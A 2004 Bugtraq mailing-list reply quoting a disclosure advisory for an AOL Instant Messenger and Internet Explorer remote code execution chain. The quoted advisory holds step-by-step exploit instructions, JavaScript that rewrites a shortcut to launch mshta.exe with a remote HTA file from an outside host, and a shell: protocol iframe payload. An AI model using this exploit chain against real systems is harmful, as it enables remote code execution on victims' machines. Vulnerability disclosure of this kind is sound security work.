That's a very good example of combining several existing vulnerabilities into a new exploit, a practice which is becoming increasingly necessary to practically exploit IE vulnerabilities. AIM predictable file location weakness, to plant a file The shell: protocol vulnerability, to switch security zone ShellApplication in the My Computer zone, to elevate privileges further As most IE exploits this one relies on the additional privileges given by the My Computer zone. Locking down this zone will prevent this exploit, and many others, and has been discussed in the past on this list. http://www.securityfocus.com/archive/1/346174/2003-11-30/2003-12-06/2 Cheng Peng Su wrote about the shell: protocol on February 10, 2004, but Eiji James Yoshida originally detailed this vulnerability on October 8, 2003 http://www.securityfocus.com/bid/7826 http://www.geocities.co.jp/SiliconValley/1667/advisory08e.html That advisory was itself an extension of his findings from June 5, 2003. Eiji believed this issue to only be exploitable on Windows Server 2003, but the implications extend to Windows XP and Windows 2000 as well. Being able to store arbitrary content in a predictable file location is a vulnerability category of its own and a premise, and have traditionally been performed with a variety of applications such as Macromedia Flash Player http://www.securityfocus.com/bid/8900 Nullsoft Winamp http://www.securityfocus.com/bid/5266 ICQ http://www.securityfocus.com/bid/5247 The AIM predictable file location vulnerability you discovered is another one to add on the list, and I am sure there are plenty of more to be found in other messenger applications. The POC on high-pow-er.com downloads and executes an HTA file which writes "yay.exe" to your harddrive and executes it. Regards Thor Larholm Senior Security Researcher PivX Solutions 24 Corporate Plaza #180 Newport Beach, CA 92660 http://www.pivx.com thor@pivx.com Phone: +1 (949) 231-8496 PGP: 0x5A276569 6BB1 B77F CB62 0D3D 5A82 C65D E1A4 157C 5A27 6569 PivX defines "Proactive Threat Mitigation". Get a FREE Beta Version of Qwik-Fix <http://www.qwik-fix.net> -----Original Message----- From: Michael Evanchik [mailto:mike@high-pow-er.com] Sent: Wednesday, February 18, 2004 6:07 PM To: bugtraq@securityfocus.com Subject: Aol Instant Messenger/Microsoft Internet Explorer remote code execution http://www.MichaelEvanchik.com/security/microsoft/ie/aim/aim.txt Aol Instant Messenger/Microsoft Internet Explorer remote code execution Feb 18, 2004 Vulnerable ---------- - Microsoft Internet Explorer 6.0 (lower was not tested) - Microsoft Windows XP Pro - Microsoft Windows XP Home - Microsoft Windows 2003 Server Enterprise - AOL Instant Messenger 5.5 to 4.3 tested Not Vulnerable -------------- - Microsoft Windows 2000 Professional - Microsoft Windows 2000 Server - Microsoft Windows 9X Severity --------- High - Remote code execution In English ---------- There is a problem in internet explorer where a file can be displayed as html even though the file is not an html file. Also the file can be run in My Computer zone where lower restrictions apply. Aol instant messenger buddy icons (and maybe themes not tested) is just ONE way to get a file in a known location on the hard drive. All environments where tested fully patched from Windows Update and double checked with Microsoft Baseline Security Analyzer 1.2 Tech Stuff and Explanation -------------------------- 1. Use a 3rd party Aol instant messenger client so that it allows you to import a file that uses a local html execution code. In my case I used... <script> var ok = new ActiveXObject("Shell.Application"); f = ok.NameSpace("C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Accessories"); i= f.ParseName("Paint.lnk"); l = i.GetLink; l.Path = "mshta.exe" l.Arguments ="http://www.high-pow-er.com/ok.hta"; l.Save("C:\\paint.lnk"); ok.Open("C:\\paint.lnk"); </script> 2. Send an instant message to ANOTHER name on a real AOL Instant Messenger client to YOURSELF first. Make sure the victim (yourself in this case) is on your buddy list before you instant message the victim (yourself). I think that helps send the icon right away. Then look in c:\documents and settings\username\application data\aim\bartcache\1\ Look for the newest file that came in that directory (you can tell by sorting by date modified) It's usually only 1k. If your unsure, open the file in Notepad to find the html above. This will be the filename that EVERYONE gets. For some reason its permanent for any AOL user every time the icon is imported. 3. Now your ready to create your html page on a web server. In the html webpage all that is needed is simply... <iframe src="shell:appdata\aim\bartcache\1\file name you got from step2"></iframe> This will not need to be changed ever again since your filename and location is permanent for everyone on AOL. 4. Send a message with a hyperlink to your page. Proof of Concept? ---------------- - If the bot is online you can instant message the screen name Michael Evanchik but don't be lazy, just follow the instructions above [= Vendor Recommendations --------------------- - America Online should not use a static directory and static file names for buddy icons. It would also help to filter server side for malicious buddy icon content. - Microsoft should pay BETTER people to test their software instead of rewards for virus writers Also the shell: protocol should not be allowed in html page or at least consider the content Internet Zone instead of My computer Zone Temp Fix ------------- - Turn off buddy icons in My Aim > Edit Options > Edit Preferences > Buddy Icons - Disable scripting in Internet Explorer - Do not use Internet Explorer, use Mozilla Firebird (now known as FireFox www.mozilla.org) Credit ------ Cheng Peng Su for the shell: protocol discovery Http equiv and jelmer for the local html execution code and examples advisories. Liu Die Yu because of his nice webpage of bugs at http://umbrella.mx.tc/ Greets ------ - slacker my other brain - illwill at illmob.org - abe,rain and dolan Contact ------- Mike@MichaelEvanchik.com http://www.MichaelEvanchik.com - me http://Software.High-Pow-er.com - Need a professional programmer? http://www.High-Pow-er.com - Other, Security, Consulting
